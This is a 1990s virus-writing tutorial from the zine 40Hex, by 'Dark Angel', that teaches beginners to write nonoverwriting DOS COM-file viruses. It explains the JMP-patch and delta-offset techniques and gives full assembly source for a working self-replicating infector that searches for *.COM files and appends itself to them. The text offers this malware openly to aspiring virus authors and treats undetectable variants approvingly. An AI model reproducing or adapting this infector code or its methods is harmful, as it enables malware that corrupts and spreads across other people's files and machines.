239 lines
9.7 KiB
Plaintext
239 lines
9.7 KiB
Plaintext
|
|
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
An Introduction to Nonoverwriting Virii
|
|
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
By Dark Angel
|
|
ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
|
|
|
It seems that there are quite a few virus writers out there who just sit at
|
|
home and churn out hacks of virii. Yay. Anybody with a disassembler and
|
|
some free time can churn out dozens of undetectable (unscannable) variants
|
|
of any given virus in an hour. Others have not progressed beyond the
|
|
overwriting virus, the type of virus with the most limited potential for
|
|
spreading. Still others have never written a virus before and would like
|
|
to learn. This article is designed as a simple introduction to all
|
|
interested to the world of nonoverwriting virii. All that is assumed is a
|
|
working knowledge of 80x86 assembly language.
|
|
|
|
Only the infection of COM files will be treated in this article, since the
|
|
infection routine is, I think, easier to understand and certainly easier to
|
|
code than that of EXE files. But do not dispair! EXE infections will be
|
|
covered in the next issue of 40Hex.
|
|
|
|
COM files are described by IBM and Microsoft as "memory image files."
|
|
Basically, when a COM file is run, the file is loaded as is into memory.
|
|
No translation or interpretation of any sort takes place. The following
|
|
steps occur when a COM file is run:
|
|
|
|
1) A PSP is built.
|
|
2) The file is loaded directly above the PSP.
|
|
3) The program is run starting from the beginning.
|
|
|
|
The PSP is a 256 byte header storing such vital data as the command line
|
|
parametres used to call the program. The file is located starting at
|
|
offset 100h of the segment where the program is loaded. Due to the 64K
|
|
limit on segment length, COM files may only be a maximum of 64K-100h bytes
|
|
long, or 65280 bytes. If you infect a COM file, make sure the final size
|
|
is below this amount or the PSP will get corrupted.
|
|
|
|
Since the beginning of the file is at offset 100h in the segment (this is
|
|
the reason for the org 100h at the start of assembly source for com files),
|
|
the initial IP is set to 100h. The key to understanding nonoverwriting COM
|
|
virii is to remember that once the program is loaded into memory, it can be
|
|
changed at will without affecting the actual file on disk.
|
|
|
|
The strategy of an overwriting virus is to write the virus to the beginning
|
|
of the COM file. This, of course, utterly annihilates the original program.
|
|
This, of course, is lame. The nonoverwriting virus changes only the first
|
|
few bytes and tacks the virus onto the end of the executable. The new
|
|
bytes at the beginning of the file cause the program, once loaded, to jump
|
|
to the virus code. After the virus is done executing, the original first
|
|
few bytes are rewritten to the area starting at 100h and a jmp instruction
|
|
is executed to that location (100h). The infected program is none the
|
|
worse for the wear and will run without error.
|
|
|
|
The trick is to find the correct bytes to add to the beginning of the file.
|
|
The most common method is to use a JMP instruction followed by a two byte
|
|
displacement. Since these three bytes replace three bytes of the original
|
|
program, it is important to save these bytes upon infection. The JMP is
|
|
encoded with a byte of 0e9h and the displacement is simply the old file
|
|
length minus three.
|
|
|
|
To replace the old bytes, simply use code similar to the following:
|
|
mov di, 100h
|
|
mov si, offset saved_bytes
|
|
movsw
|
|
movsb
|
|
|
|
And to return control to the original program, use the following:
|
|
mov di, 100h
|
|
jmp di
|
|
|
|
or any equivalent statements.
|
|
|
|
When writing nonoverwriting virii, it is important to understand that the
|
|
variables used in the code will not be in their original locations. Since
|
|
virii are added to the end of the file, you must take the filesize into
|
|
account when calculating offsets. The standard procedure is to use the
|
|
short combination of statements:
|
|
|
|
call oldtrick
|
|
oldtrick:
|
|
pop bp ; bp = current IP
|
|
sub bp, offset oldtrick ; subtract from original offset
|
|
|
|
After these statements have been executed, bp will hold the difference in
|
|
the new offsets of the variables from the original. To account for the
|
|
difference, make the following substitutions in the viral code:
|
|
|
|
lea dx, [bp+offset variable]
|
|
instead of
|
|
mov dx, offset variable
|
|
|
|
and
|
|
|
|
mov dx, word ptr [bp+offset variable]
|
|
instead of
|
|
mov dx, word ptr variable
|
|
|
|
Alternatively, if you want to save a few bytes and are willing to suffer
|
|
some headaches, leave out the sub bp, offset oldtrick and calculate all
|
|
offsets as per the procedure above EXCEPT you must now also subtract offset
|
|
oldtrick from each of the offsets.
|
|
|
|
The following is a short nonoverwriting virus which will hopefully help in
|
|
your understanding of the techniques explained above. It's sort of cheesy,
|
|
since I designed it to be small and easily understandable. In addition to
|
|
being inefficient (in terms of size), it fails to preserve file date/time
|
|
and will not infect read-only files. However, it serves its purpose well
|
|
as a teaching aid.
|
|
|
|
--------Tear line----------------------------------------------------------
|
|
|
|
DumbVirus segment
|
|
Assume CS:DumbVirus
|
|
Org 100h ; account for PSP
|
|
|
|
; Dumb Virus - 40Hex demo virus
|
|
; Assemble with TASM /m2
|
|
|
|
Start: db 0e9h ; jmp duh
|
|
dw 0
|
|
|
|
; This is where the virus starts
|
|
duh: call next
|
|
next: pop bp ; bp holds current location
|
|
sub bp, offset next ; calculate net change
|
|
|
|
; Restore the original first three bytes
|
|
lea si, [bp+offset stuff]
|
|
mov di, 100h
|
|
; Put 100h on the stack for the retn later
|
|
; This will allow for the return to the beginning of the file
|
|
push di
|
|
movsw
|
|
movsb
|
|
|
|
; Change DTA from default (otherwise Findfirst/next will destroy
|
|
; commandline parametres
|
|
lea dx, [bp+offset dta]
|
|
call set_dta
|
|
|
|
mov ah, 4eh ; Find first
|
|
lea dx, [bp+masker] ; search for '*.COM',0
|
|
xor cx, cx ; attribute mask - this is unnecessary
|
|
tryanother:
|
|
int 21h
|
|
jc quit ; Quit on error
|
|
|
|
; Open file for read/write
|
|
; Note: This fails on read-only files
|
|
mov ax, 3D02h
|
|
lea dx, [bp+offset dta+30] ; File name is located in DTA
|
|
int 21h
|
|
xchg ax, bx
|
|
|
|
; Read in the first three bytes
|
|
mov ah, 3fh
|
|
lea dx, [bp+stuff]
|
|
mov cx, 3
|
|
int 21h
|
|
|
|
; Check for previous infection
|
|
mov ax, word ptr [bp+dta+26] ; ax = filesize
|
|
mov cx, word ptr [bp+stuff+1] ; jmp location
|
|
add cx, eov - duh + 3 ; convert to filesize
|
|
cmp ax, cx ; if same, already infected
|
|
jz close ; so quit out of here
|
|
|
|
; Calculate the offset of the jmp
|
|
sub ax, 3 ; ax = filesize - 3
|
|
mov word ptr [bp+writebuffer], ax
|
|
|
|
; Go to the beginning of the file
|
|
xor al, al
|
|
call f_ptr
|
|
|
|
; Write the three bytes
|
|
mov ah, 40h
|
|
mov cx, 3
|
|
lea dx, [bp+e9]
|
|
int 21h
|
|
|
|
; Go to the end of the file
|
|
mov al, 2
|
|
call f_ptr
|
|
|
|
; And write the rest of the virus
|
|
mov ah, 40h
|
|
mov cx, eov - duh
|
|
lea dx, [bp+duh]
|
|
int 21h
|
|
|
|
close:
|
|
mov ah, 3eh
|
|
int 21h
|
|
|
|
; Try infecting another file
|
|
mov ah, 4fh ; Find next
|
|
jmp short tryanother
|
|
|
|
; Restore the DTA and return control to the original program
|
|
quit: mov dx, 80h ; Restore current DTA to
|
|
; the default @ PSP:80h
|
|
set_dta:
|
|
mov ah, 1ah ; Set disk transfer address
|
|
int 21h
|
|
retn
|
|
f_ptr: mov ah, 42h
|
|
xor cx, cx
|
|
cwd ; equivalent to: xor dx, dx
|
|
int 21h
|
|
retn
|
|
|
|
masker db '*.com',0
|
|
; Original three bytes of the infected file
|
|
; Currently holds a INT 20h instruction and a null byte
|
|
stuff db 0cdh, 20h, 0
|
|
e9 db 0e9h
|
|
eov equ $ ; End of the virus
|
|
; The following variables are stored in the heap space (the area between
|
|
; the stack and the code) and are not part of the virus that is written
|
|
; to files.
|
|
writebuffer dw ? ; Scratch area holding the
|
|
; JMP offset
|
|
dta db 42 dup (?)
|
|
DumbVirus ENDS
|
|
END Start
|
|
|
|
---------------------------------------------------------------------------
|
|
|
|
Do not worry if not everything makes sense to you just yet. I tried to
|
|
keep the example virus as simple as possible, although, admittedly, the
|
|
explanations were a bit cryptic. It should all come to you in time.
|
|
|
|
For a more complete discussion of nonoverwriting virii, pick up a copy of
|
|
each of the first three parts of my virus writing guide (the phunky, the
|
|
chunky, and the crunchy), where you may find a thorough tutorial on
|
|
nonresident virii suitable for any beginning virus programmer.
|